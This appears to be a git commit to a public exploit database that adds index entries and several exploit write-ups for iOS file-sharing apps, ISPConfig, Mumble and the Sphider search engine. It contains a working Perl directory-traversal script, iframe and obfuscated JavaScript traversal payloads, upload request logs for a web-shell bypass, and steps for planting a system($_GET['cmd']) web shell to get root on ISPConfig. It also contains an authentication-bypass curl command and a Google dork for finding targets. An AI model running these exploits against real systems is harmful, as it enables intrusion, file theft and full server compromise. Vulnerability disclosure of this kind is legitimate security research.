Updated 08_04_2014
This commit is contained in:
Offensive Security
parent
f2d0c69d43
commit
9d2bfdf51e
9 changed files with 875 additions and 0 deletions
|
|
@ -30828,6 +30828,8 @@ id,file,description,date,author,platform,type,port
|
|||
34224,platforms/multiple/webapps/34224.txt,"Kryn.cms 6.0 Cross Site Request Forgery and HTML Injection Vulnerabilities",2010-06-29,TurboBorland,multiple,webapps,0
|
||||
34225,platforms/php/webapps/34225.txt,"TornadoStore 1.4.3 SQL Injection and HTML Injection Vulnerabilities",2010-06-29,"Lucas Apa",php,webapps,0
|
||||
34226,platforms/php/webapps/34226.txt,"System CMS Contentia 'news.php' SQL Injection Vulnerability",2010-06-30,GlaDiaT0R,php,webapps,0
|
||||
34227,platforms/windows/dos/34227.txt,"Qt <= 4.6.3 - Remote Denial of Service Vulnerability",2010-06-29,"Luigi Auriemma",windows,dos,0
|
||||
34228,platforms/linux/dos/34228.txt,"Mumble Murmur 1.2 - Denial of Service Vulnerability",2010-06-29,"Luigi Auriemma",linux,dos,0
|
||||
34229,platforms/php/webapps/34229.txt,"ArcademSX 2.904 'cat' Parameter Cross Site Scripting Vulnerability",2010-06-29,"Th3 RDX",php,webapps,0
|
||||
34230,platforms/windows/remote/34230.txt,"Freewebscriptz Online Games Login Multiple SQL Injection Vulnerabilities",2009-12-31,"Hussin X",windows,remote,0
|
||||
34231,platforms/php/webapps/34231.txt,"LiveZilla 3.1.8.3 Multiple Cross Site Scripting Vulnerabilities",2009-12-30,MaXe,php,webapps,0
|
||||
|
|
@ -30837,3 +30839,9 @@ id,file,description,date,author,platform,type,port
|
|||
34235,platforms/php/webapps/34235.txt,"Wiki Web Help 0.2.7 Cross Site Scripting and HTML Injection Vulnerabilities",2010-07-01,"John Leitch",php,webapps,0
|
||||
34236,platforms/php/webapps/34236.txt,"ReCMS 'users_lang' Parameter Directory Traversal Vulnerability",2010-07-01,Locu,php,webapps,0
|
||||
34237,platforms/multiple/webapps/34237.txt,"Xplico 0.5.7 'add.ctp' Cross Site Scripting Vulnerability",2010-07-02,"Marcos Garcia and Maximiliano Soler",multiple,webapps,0
|
||||
34238,platforms/php/webapps/34238.txt,"Sphider Search Engine - Multiple Vulnerabilities",2014-08-02,"Shayan S",php,webapps,80
|
||||
34239,platforms/php/webapps/34239.txt,"Status2k Server Monitoring Software - Multiple Vulnerabilities",2014-08-02,"Shayan S",php,webapps,80
|
||||
34240,platforms/ios/webapps/34240.txt,"TigerCom iFolder+ v1.2 iOS - Multiple Vulnerabilities",2014-08-02,Vulnerability-Lab,ios,webapps,8080
|
||||
34241,platforms/linux/webapps/34241.txt,"ISPConfig 3.0.54p1 - Authenticated Admin Local root Vulnerability",2014-08-02,mra,linux,webapps,8080
|
||||
34243,platforms/ios/webapps/34243.txt,"Photo WiFi Transfer 1.01 - Directory Traversal Vulnerability",2014-08-02,Vulnerability-Lab,ios,webapps,8080
|
||||
34245,platforms/php/webapps/34245.txt,"ArticleFR 11.06.2014 (data.php) - Privilege Escalation",2014-08-02,"High-Tech Bridge SA",php,webapps,80
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
305
platforms/ios/webapps/34240.txt
Executable file
305
platforms/ios/webapps/34240.txt
Executable file
|
|
@ -0,0 +1,305 @@
|
|||
Document Title:
|
||||
===============
|
||||
TigerCom iFolder+ v1.2 iOS - Multiple Vulnerabilities
|
||||
|
||||
|
||||
References (Source):
|
||||
====================
|
||||
http://www.vulnerability-lab.com/get_content.php?id=1284
|
||||
|
||||
|
||||
Release Date:
|
||||
=============
|
||||
2014-07-30
|
||||
|
||||
|
||||
Vulnerability Laboratory ID (VL-ID):
|
||||
====================================
|
||||
1284
|
||||
|
||||
|
||||
Common Vulnerability Scoring System:
|
||||
====================================
|
||||
7.4
|
||||
|
||||
|
||||
Product & Service Introduction:
|
||||
===============================
|
||||
iFolder+, Belong to yourself is a mobile application coded by TigerCom. The application allows to communicate
|
||||
and share information or files in the wifi network. The app is uncommercial and can be downloaded through the
|
||||
apple itunes shop or app-store.
|
||||
|
||||
- Safty
|
||||
- Intelligent encryption, protect the folder
|
||||
- No Internet connection to prevent the documents stolen
|
||||
- Password protected, locked the document
|
||||
- Wireless transmission
|
||||
- Using Wifi, you can share files between iphone, ipad and computer
|
||||
- Current open folder sharing, better protect your privacy
|
||||
- Private photos/videos/documents
|
||||
- Import photos and videos from album
|
||||
- Export photos and videos to your album
|
||||
- Open camera, store photos and recording video
|
||||
- Photos and videos preview
|
||||
- Photos and video high fidelity storage
|
||||
- Photo browsing, support for gestures to zoom
|
||||
- video playing, perfect playback experience
|
||||
- Support PDF, TXT documents directly browsing
|
||||
- Photo folder, Video folder, Documents folder, easily classified
|
||||
- Support Wifi Import and Export
|
||||
- Private accounts/contacts
|
||||
- Account protection, add a variety of accounts
|
||||
|
||||
( Copy of the Homepage: https://itunes.apple.com/de/app/ifolder+/id622423906 )
|
||||
|
||||
|
||||
Abstract Advisory Information:
|
||||
==============================
|
||||
The Vulnerability Laboratory Research Team discovered multiple vulnerabilities in the official TigerCom iFolder+ v1.2 iOS mobile application.
|
||||
|
||||
|
||||
Vulnerability Disclosure Timeline:
|
||||
==================================
|
||||
2014-07-30: Public Disclosure (Vulnerability Laboratory)
|
||||
|
||||
|
||||
Discovery Status:
|
||||
=================
|
||||
Published
|
||||
|
||||
|
||||
Affected Product(s):
|
||||
====================
|
||||
TigerCom
|
||||
Product: iFolder+ - iOS Mobile Web Application 1.2
|
||||
|
||||
|
||||
Exploitation Technique:
|
||||
=======================
|
||||
Remote
|
||||
|
||||
|
||||
Severity Level:
|
||||
===============
|
||||
High
|
||||
|
||||
|
||||
Technical Details & Description:
|
||||
================================
|
||||
1.1
|
||||
A local file include web vulnerability has been discovered in the official TigerCom iFolder+ v1.2 iOS mobile web-application.
|
||||
The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or system specific
|
||||
path commands to compromise the mobile web-application.
|
||||
|
||||
The web vulnerability is located in the `filename` value of the `uploadfile` module. Remote attackers are able to inject own files
|
||||
with malicious `filename` values in the `uploadfile` POST method request to compromise the mobile web-application. The local file/path
|
||||
include execution occcurs in the index `folder list` context next to the vulnerable filename value. The attacker is able to inject the
|
||||
local file request by usage of the available `wifi interface` for file or folder exchange/share.
|
||||
|
||||
Remote attackers are also able to exploit the filename validation issue in combination with persistent injected script codes to execute
|
||||
different local malicious attacks requests. The attack vector is on the application-side of the wifi service and the request method to
|
||||
inject is POST.
|
||||
|
||||
The security risk of the local file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count
|
||||
of 7.3. Exploitation of the local file include web vulnerability requires no privileged web-application user account or user interaction.
|
||||
Successful exploitation of the local file include web vulnerability results in mobile application or connected device component compromise.
|
||||
|
||||
|
||||
Request Method(s):
|
||||
[+] [POST]
|
||||
|
||||
Vulnerable Service(s):
|
||||
[+] iFolder+ v1.2
|
||||
|
||||
Vulnerable Module(s):
|
||||
[+] uploadfile
|
||||
|
||||
Vulnerable Parameter(s):
|
||||
[+] filename
|
||||
|
||||
Affected Module(s):
|
||||
[+] Index Folder Dir Listing (http://localhost:8080/)
|
||||
|
||||
|
||||
1.2
|
||||
An arbitrary file upload web vulnerability has been discovered in the official TigerCom iFolder+ v1.2 iOS mobile web-application.
|
||||
The arbitrary file upload issue allows remote attackers to upload files with multiple extensions to bypass the web-server or system validation.
|
||||
|
||||
The vulnerability is located in the `uploadfile` module. Remote attackers are able to upload a php or js web-shells by renaming the file with
|
||||
multiple extensions to bypass the file restriction mechanism. The attacker uploads for example a web-shell with the following name and extension
|
||||
`image.jpg.gif.js.php.jpg`. After the upload the attacker needs to open the file in the web application. He deletes the .jpg & . gif file
|
||||
extension and can access the application file with elevated access rights.
|
||||
|
||||
The security risk of the arbitrary file upload web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.4.
|
||||
Exploitation of the arbitrary file upload web vulnerability requires no user interaction or privilege application user account with password.
|
||||
Successful exploitation of the vulnerability results in unauthorized file access because of a compromise after the upload of web-shells.
|
||||
|
||||
|
||||
Request Method(s):
|
||||
[+] [POST]
|
||||
|
||||
Vulnerable Module(s):
|
||||
[+] uploadfile
|
||||
|
||||
Vulnerable Parameter(s):
|
||||
[+] filename (multiple extensions)
|
||||
|
||||
Affected Module(s):
|
||||
[+] Index Folder Dir Listing (http://localhost:8080/)
|
||||
|
||||
|
||||
Proof of Concept (PoC):
|
||||
=======================
|
||||
1.1
|
||||
The local file include web vulnerability can be exploited by local attackers without privileged application user account or user interaction.
|
||||
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.
|
||||
|
||||
PoC: Index File Dir Listing (http://localhost:8080)
|
||||
<a href="/<./[LOCAL FILE INCLUDE VULNERABILITY!].png" target="_blank"> <./[LOCAL FILE INCLUDE VULNERABILITY!].png
|
||||
</a></td></tr></table></div></body>
|
||||
</html></iframe></a>
|
||||
|
||||
|
||||
--- PoC Session Logs [POST] ---
|
||||
Status: 200[OK]
|
||||
POST http://localhost:8080/uploadfile Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Gr??e des Inhalts[-1] Mime Type[application/x-unknown-content-type]
|
||||
Request Header:
|
||||
Host[localhost:8080]
|
||||
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0]
|
||||
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
|
||||
Accept-Language[de,en-US;q=0.7,en;q=0.3]
|
||||
Accept-Encoding[gzip, deflate]
|
||||
Referer[http://localhost:8080/]
|
||||
Connection[keep-alive]
|
||||
POST-Daten:
|
||||
POST_DATA[-----------------------------165081174024576
|
||||
Content-Disposition: form-data; name="upload1"; filename="./[LOCAL FILE INCLUDE VULNERABILITY!].*"
|
||||
Content-Type: image/png
|
||||
|
||||
Status: 200[OK]
|
||||
GET http://localhost:8080/./[LOCAL FILE INCLUDE VULNERABILITY!].* Load Flags[LOAD_DOCUMENT_URI ] Gr??e des Inhalts[0] Mime Type[application/x-unknown-content-type]
|
||||
Request Header:
|
||||
Host[localhost:8080]
|
||||
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0]
|
||||
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
|
||||
Accept-Language[de,en-US;q=0.7,en;q=0.3]
|
||||
Accept-Encoding[gzip, deflate]
|
||||
Referer[http://localhost:8080/uploadfile]
|
||||
Connection[keep-alive]
|
||||
Response Header:
|
||||
Accept-Ranges[bytes]
|
||||
Content-Length[0]
|
||||
Date[Tue, 29 Jul 2014 14:32:09 GMT]
|
||||
|
||||
|
||||
Reference(s):
|
||||
http://localhost:8080/
|
||||
http://localhost:8080/uploadfile
|
||||
|
||||
|
||||
1.2
|
||||
The arbitrary file upload web vulnerability can be exploited by local attackers without privileged application user account or user interaction.
|
||||
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.
|
||||
|
||||
Standard Link to View and Download:
|
||||
http://localhost:8080/[x].png
|
||||
|
||||
PoC: 200[OK] GET
|
||||
http://localhost:8080/[ARBITRARY FILE UPLOAD VULNERABILITY!].png.jpg.php.js.html
|
||||
http://localhost:8080/[ARBITRARY FILE UPLOAD VULNERABILITY!].png.jpg.php
|
||||
|
||||
|
||||
--- PoC Session Logs [POST] ---
|
||||
Status: 200[OK]
|
||||
POST http://localhost:8080/uploadfile Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Gr??e des Inhalts[-1] Mime Type[application/x-unknown-content-type]
|
||||
Request Header:
|
||||
Host[localhost:8080]
|
||||
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0]
|
||||
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
|
||||
Accept-Language[de,en-US;q=0.7,en;q=0.3]
|
||||
Accept-Encoding[gzip, deflate]
|
||||
Referer[http://localhost:8080/]
|
||||
Connection[keep-alive]
|
||||
POST-Daten:
|
||||
POST_DATA[-----------------------------253371365330237
|
||||
Content-Disposition: form-data; name="upload1"; filename="[ARBITRARY FILE UPLOAD VULNERABILITY!].png.jpg.php.js.html.jpg.png"
|
||||
Content-Type: image/png
|
||||
|
||||
Status: 200[OK]
|
||||
GET http://localhost:8080/[ARBITRARY FILE UPLOAD VULNERABILITY!].png.jpg.php.js.html.jpg.png Load Flags[LOAD_DOCUMENT_URI ] Gr??e des Inhalts[0] Mime Type[application/x-unknown-content-type]
|
||||
Request Header:
|
||||
Host[localhost:8080]
|
||||
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0]
|
||||
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
|
||||
Accept-Language[de,en-US;q=0.7,en;q=0.3]
|
||||
Accept-Encoding[gzip, deflate]
|
||||
Referer[http://localhost:8080/uploadfile]
|
||||
Connection[keep-alive]
|
||||
Response Header:
|
||||
Accept-Ranges[bytes]
|
||||
Content-Length[0]
|
||||
|
||||
|
||||
Reference(s):
|
||||
http://localhost:8080/
|
||||
http://localhost:8080/uploadfile
|
||||
|
||||
|
||||
Solution - Fix & Patch:
|
||||
=======================
|
||||
1.1
|
||||
The file inlcude vulnerability can be patched by a secure parse and encode of the filename value in the upload file POSt method request.
|
||||
|
||||
1.2
|
||||
The arbitrary file upload issue can be fixed by a secure restriction and filter procedure in the filename type validation mechanism.
|
||||
Restrict the input and check for extentions to prevent arbitrary file upload with further exploitation.
|
||||
|
||||
|
||||
Security Risk:
|
||||
==============
|
||||
1.1
|
||||
The security risk of the local file include web vulnerability is estimated as high.
|
||||
|
||||
1.2
|
||||
The security risk of the arbitrary file upload web vulnerability is estimated as critical.
|
||||
|
||||
|
||||
Credits & Authors:
|
||||
==================
|
||||
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]
|
||||
|
||||
|
||||
Disclaimer & Information:
|
||||
=========================
|
||||
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either
|
||||
expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers
|
||||
are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even
|
||||
if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation
|
||||
of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break
|
||||
any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.
|
||||
|
||||
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
|
||||
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
|
||||
Section: dev.vulnerability-db.com - forum.vulnerability-db.com - magazine.vulnerability-db.com
|
||||
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
|
||||
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
|
||||
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/
|
||||
|
||||
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
|
||||
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
|
||||
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
|
||||
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
|
||||
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
|
||||
|
||||
Copyright ? 2014 | Vulnerability Laboratory [Evolution Security]
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
--
|
||||
VULNERABILITY LABORATORY RESEARCH TEAM
|
||||
DOMAIN: www.vulnerability-lab.com
|
||||
CONTACT: research@vulnerability-lab.com
|
||||
|
||||
|
||||
231
platforms/ios/webapps/34243.txt
Executable file
231
platforms/ios/webapps/34243.txt
Executable file
|
|
@ -0,0 +1,231 @@
|
|||
Document Title:
|
||||
===============
|
||||
Photo WiFi Transfer 1.01 - Directory Traversal Vulnerability
|
||||
|
||||
|
||||
References (Source):
|
||||
====================
|
||||
http://www.vulnerability-lab.com/get_content.php?id=1285
|
||||
|
||||
|
||||
Release Date:
|
||||
=============
|
||||
2014-07-31
|
||||
|
||||
|
||||
Vulnerability Laboratory ID (VL-ID):
|
||||
====================================
|
||||
1286
|
||||
|
||||
|
||||
Common Vulnerability Scoring System:
|
||||
====================================
|
||||
6.7
|
||||
|
||||
|
||||
Product & Service Introduction:
|
||||
===============================
|
||||
Using this app, you can download photos to a PC or a smartphone from your iPhone through WiFi. The app provides the easiest and
|
||||
fastest way to do it. Just run the app on the iPhone and open the web browser on your PC or another smart phone. That is all
|
||||
that you are required to do. It is quite simple. In addition to the web browser, a ftp client application is also supported to
|
||||
access the photos. Do not pay money for these functions as the app provides all of them without charging.
|
||||
|
||||
(Copy of the Homepage: https://itunes.apple.com/us/app/photo-wifi-transfer/id892772036 )
|
||||
|
||||
|
||||
Abstract Advisory Information:
|
||||
==============================
|
||||
The Vulnerability Laboratory Research Team discovered a directory traversal vulnerability in the official BlueFinger Photo WiFi Transfer v1.01 iOS mobile application.
|
||||
|
||||
|
||||
Vulnerability Disclosure Timeline:
|
||||
==================================
|
||||
2014-07-31: Public Disclosure (Vulnerability Laboratory)
|
||||
|
||||
|
||||
Discovery Status:
|
||||
=================
|
||||
Published
|
||||
|
||||
|
||||
Affected Product(s):
|
||||
====================
|
||||
BlueFinger Apps
|
||||
Product: Photo WiFi Transfer - iOS Mobile Web Application (FTP) 1.01
|
||||
|
||||
|
||||
Exploitation Technique:
|
||||
=======================
|
||||
Remote
|
||||
|
||||
|
||||
Severity Level:
|
||||
===============
|
||||
High
|
||||
|
||||
|
||||
Technical Details & Description:
|
||||
================================
|
||||
A directory traversal web vulnerability has been discovered in the official BlueFinger Photo WiFi Transfer v1.01 iOS mobile application.
|
||||
The vulnerability allows remote attackers to bypass the path restriction of a service to access sensitive app-, web-server or -device information.
|
||||
|
||||
The vulnerability is located in the `ftp` (ftp://localhost:8080) service of the wifi `web-server` module. The issue allows an attacker to bypass
|
||||
the regular `folder/path` validation mechnism to access sensitive app web-server or iOS -device information. The attack vector of the issue is on
|
||||
the application-side of the service and to perform malicious request the `GET method` is required to use.
|
||||
|
||||
After the start of the web-server by usage of the ftp function, the attacker is able to include 5 more path values (../../../../../) to access
|
||||
unauthorized higher folders outside the mobile application service. In the analysis we saw that the path change of 5 directories is required
|
||||
to bypass. During the tests we accessed the full app service folder and through the directory traversal to web-server configuration files but
|
||||
also the parent device directory.
|
||||
|
||||
The security risk of the directory traversal web vulnerability is estimated as high with a cvss (common vulnerability scoring system)
|
||||
count of 6.7. Exploitation of the path traversal web vulnerability requires no privileged web-application user account or user interaction.
|
||||
Successful exploitation of the directory traversal vulnerability results in mobile application or connected device component compromise.
|
||||
|
||||
Request Method(s):
|
||||
[+] GET
|
||||
|
||||
Vulnerable Module(s):
|
||||
[+] Directory
|
||||
|
||||
Vulnerable Parameter(s):
|
||||
[+] path
|
||||
|
||||
Affected Module(s):
|
||||
[+] Parent Directory (ftp://localhost:8080/)
|
||||
|
||||
|
||||
Proof of Concept (PoC):
|
||||
=======================
|
||||
The directory traversal web vulnerability can be exploited by attackers without privileged application user account and user interaction.
|
||||
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.
|
||||
|
||||
Exception:
|
||||
50 /private/var/mobile/Applications/CFCEEF6E-AA35-42D6-84EC-BFB518F764B1/Documents/photo/../../etc/passwd No such file or directory.
|
||||
|
||||
Standard Request:
|
||||
ftp://localhost:8080/../../Documents/
|
||||
|
||||
PoC: Links
|
||||
ftp://localhost:8080/../../../../../../../../../../../../../../../../etc
|
||||
ftp://localhost:8080/../../../../../../../../../../../../../../../../usr/
|
||||
ftp://localhost:8080/../../../../../../../../../../../../../../../../Applications/
|
||||
ftp://localhost:8080/../../../../../../../../../../../../../../../../System/
|
||||
|
||||
|
||||
Exploit: PoC (PL)
|
||||
#!/usr/bin/perl
|
||||
use LWP::Simple;
|
||||
print "-------------------------------------------\n";
|
||||
print "-= Photo WiFi Transfer v1.0.1 - PoC Directory Traversal=-\n";
|
||||
print "-------------------------------------------\n\n";
|
||||
|
||||
print "Target(ftp://localhost:8080/)\> ";
|
||||
chomp($targ = <STDIN>);
|
||||
|
||||
print "Path: (/fn25/)\>";
|
||||
chomp($path=<STDIN>);
|
||||
|
||||
$url = "../../../../../../../../etc/";
|
||||
$page = get("http://".$targ.$path.$url) || die "[-] Unable to retrieve: $!";
|
||||
print "[+] Connected to: $page\n";
|
||||
|
||||
|
||||
Exploit: PoC (HTML)
|
||||
<html>
|
||||
<head><body><title></title>
|
||||
<iframe src=ftp://localhost:8080/../../../../../../../../../../../../../../../../etc>
|
||||
<iframe src=ftp://localhost:8080/../../../../../../../../../../../../../../../../usr/>
|
||||
<iframe src=ftp://localhost:8080/../../../../../../../../../../../../../../../../Applications/>
|
||||
<iframe src=ftp://localhost:8080/../../../../../../../../../../../../../../../../System/>
|
||||
</body></head>
|
||||
<html>
|
||||
|
||||
|
||||
Exploit: PoC (JS)
|
||||
<script language=JavaScript>m='%3Chtml%3E%0A%3Chead%3E%3Cbody%3E%3Ctitle%3E%3C/title%3E%0A%3Ciframe%20src%3Dftp%3A//
|
||||
localhost%3A8080/../../../../../../../../../../../../../../../../etc%3E%0A%3Ciframe%20src%3Dftp%3A//localhost%3A8080/
|
||||
../../../../../../../../../../../../../../../../usr/%3E%0A%3Ciframe%20src%3Dftp%3A//localhost%3A8080/../../../../../
|
||||
../../../../../../../../../../../Applications/%3E%0A%3Ciframe%20src%3Dftp%3A//localhost%3A8080/../../../../../../../
|
||||
../../../../../../../../../System/%3E%0A%3C/body%3E%3C/head%3E%0A%3Chtml%3E';d=unescape(m);document.write(d);</script>
|
||||
|
||||
|
||||
--- PoC Console Logs ---
|
||||
Applications 14.03.2014 19:06:00
|
||||
Developer 18.08.2013 06:19:00
|
||||
Library 20.10.2013 06:32:00
|
||||
System 17.10.2013 08:08:00
|
||||
bin 03.07.2014 18:13:00
|
||||
cores 18.08.2013 05:56:00
|
||||
Datei:etc 1 KB 20.10.2013 06:32:00
|
||||
private 05.01.2014 22:18:00
|
||||
sbin 03.07.2014 18:13:00
|
||||
Datei:tmp 1 KB 20.10.2013 06:32:00
|
||||
usr 20.10.2013 06:23:00
|
||||
Datei:var 1 KB 20.10.2013 06:32:00
|
||||
|
||||
300: ftp://localhost:8080/../../../../../../../../
|
||||
200: filename content-length last-modified file-type
|
||||
201: "Applications" 0 Sun%2C%2014%20Mar%202014%2019%3A06%3A00 DIRECTORY
|
||||
201: "Developer" 0 Sun%2C%2018%20Aug%202013%2006%3A19%3A00 DIRECTORY
|
||||
201: "Library" 0 Sun%2C%2020%20Oct%202013%2006%3A32%3A00 DIRECTORY
|
||||
201: "System" 0 Sun%2C%2017%20Oct%202013%2008%3A08%3A00 DIRECTORY
|
||||
201: "bin" 0 Sun%2C%2003%20Jul%202014%2018%3A13%3A00 DIRECTORY
|
||||
201: "cores" 0 Sun%2C%2018%20Aug%202013%2005%3A56%3A00 DIRECTORY
|
||||
201: "etc" 11 Sun%2C%2020%20Oct%202013%2006%3A32%3A00 FILE
|
||||
201: "private" 0 Sun%2C%2005%20Jan%202014%2022%3A18%3A00 DIRECTORY
|
||||
201: "sbin" 0 Sun%2C%2003%20Jul%202014%2018%3A13%3A00 DIRECTORY
|
||||
201: "tmp" 15 Sun%2C%2020%20Oct%202013%2006%3A32%3A00 FILE
|
||||
201: "usr" 0 Sun%2C%2020%20Oct%202013%2006%3A23%3A00 DIRECTORY
|
||||
201: "var" 11 Sun%2C%2020%20Oct%202013%2006%3A32%3A00 FILE
|
||||
|
||||
Note: The traversal becomes visible after the 5th path/folder request and affects like regular the full app path via web-server. (_eTiGb+6)
|
||||
|
||||
|
||||
Solution - Fix & Patch:
|
||||
=======================
|
||||
The directory traversal web vulnerability can be patched by a secure filter and restriction mechanism in the GET method request of the directory/path name value module.
|
||||
|
||||
|
||||
Security Risk:
|
||||
==============
|
||||
The security risk of the directory traversal web vulnerability in the ftp service of the mobile application is estimated as high.
|
||||
|
||||
|
||||
Credits & Authors:
|
||||
==================
|
||||
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]
|
||||
|
||||
|
||||
Disclaimer & Information:
|
||||
=========================
|
||||
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either
|
||||
expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers
|
||||
are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even
|
||||
if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation
|
||||
of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break
|
||||
any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.
|
||||
|
||||
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
|
||||
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
|
||||
Section: dev.vulnerability-db.com - forum.vulnerability-db.com - magazine.vulnerability-db.com
|
||||
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
|
||||
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
|
||||
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/
|
||||
|
||||
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
|
||||
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
|
||||
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
|
||||
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
|
||||
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
|
||||
|
||||
Copyright ? 2014 | Vulnerability Laboratory [Evolution Security]
|
||||
|
||||
|
||||
|
||||
--
|
||||
VULNERABILITY LABORATORY RESEARCH TEAM
|
||||
DOMAIN: www.vulnerability-lab.com
|
||||
CONTACT: research@vulnerability-lab.com
|
||||
|
||||
|
||||
9
platforms/linux/dos/34228.txt
Executable file
9
platforms/linux/dos/34228.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/41251/info
|
||||
|
||||
Mumble Murmur is prone to a denial-of-service vulnerability.
|
||||
|
||||
Attackers can exploit this issue to crash the affected application, denying service to legitimate users.
|
||||
|
||||
Mumble versions 1.2.2 and prior are vulnerable.
|
||||
|
||||
http://www.exploit-db.com/sploits/34228.zip
|
||||
27
platforms/linux/webapps/34241.txt
Executable file
27
platforms/linux/webapps/34241.txt
Executable file
|
|
@ -0,0 +1,27 @@
|
|||
# Exploit Title: ISPConfig 3 authenticated admin Localroot vulnerability
|
||||
# Date: 7/25/14
|
||||
# Exploit Author: mra
|
||||
# Vendor Homepage: http://wwwispconfig.org
|
||||
# Version: 3.0.54p1
|
||||
# Tested on: ubuntu, centos
|
||||
# irc.criten.net #elite-chat
|
||||
|
||||
|
||||
While logged in as admin user:
|
||||
|
||||
|
||||
1) add a shell user
|
||||
|
||||
2) under option set gid to ispconfig
|
||||
|
||||
3) log in as that user
|
||||
|
||||
4) edit /usr/local/ispconfig/interface/lib/lang/en.lng with system($_GET['cmd']);
|
||||
|
||||
|
||||
5) browse to: http://server:8080/index.php?cmd=echo /tmp/script >>/usr/local/ispconfig/server/server.sh
|
||||
|
||||
|
||||
6) create /tmp/script and put a command you wish to be executed as root.
|
||||
|
||||
|
||||
82
platforms/php/webapps/34238.txt
Executable file
82
platforms/php/webapps/34238.txt
Executable file
|
|
@ -0,0 +1,82 @@
|
|||
# Exploit Title: Sphider Search Engine - Multiple Vulnerabilities
|
||||
# Google Dork: ext:php intext:sphider inurl:search.php
|
||||
# Date: 6/20/2014
|
||||
# Exploit Author: Shayan Sadigh (twitter.com/r1pplex) | <ienjoy.ripples@gmail.com>
|
||||
# Vendor Homepage: http://www.sphider.eu/
|
||||
# Version: Sphider < 1.3.6 | Sphider Pro/Plus as well
|
||||
# Tested on: Linux & Windows
|
||||
# CVE : CVE-2014-5081, CVE-2014-5082, CVE-2014-5083, CVE-2014-5084, CVE-2014-5085, CVE-2014-5086, CVE-2014-5087
|
||||
|
||||
1. (patched April 2013), in all versions before 1.3.6 for sphider, 3.2 for sphider-pro, and 3.2 for sphider-plus,
|
||||
existed an auth bypass in auth.php, the fix for this was adding an exit();. before that anyone could simply send credentials
|
||||
that would not be validated and still login
|
||||
|
||||
PoC: curl -d "user=foo&pass=bar" "localhost/sphider/admin/admin.php"
|
||||
(or auth.php)
|
||||
|
||||
CVE-2014-5081.
|
||||
-------------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
2. SQLi injection (exists in sphider/pro/plus [every version], not patched)..
|
||||
A quick glance at the admin.php file shows that this software does not make many attempts to sanatize inputs, and thus leading to issues..
|
||||
the following file is from sphider-1.3.6 | http://pastebin.com/raw.php?i=7NJQznmA
|
||||
from: http://www.sphider.eu/sphider-1.3.6.zip
|
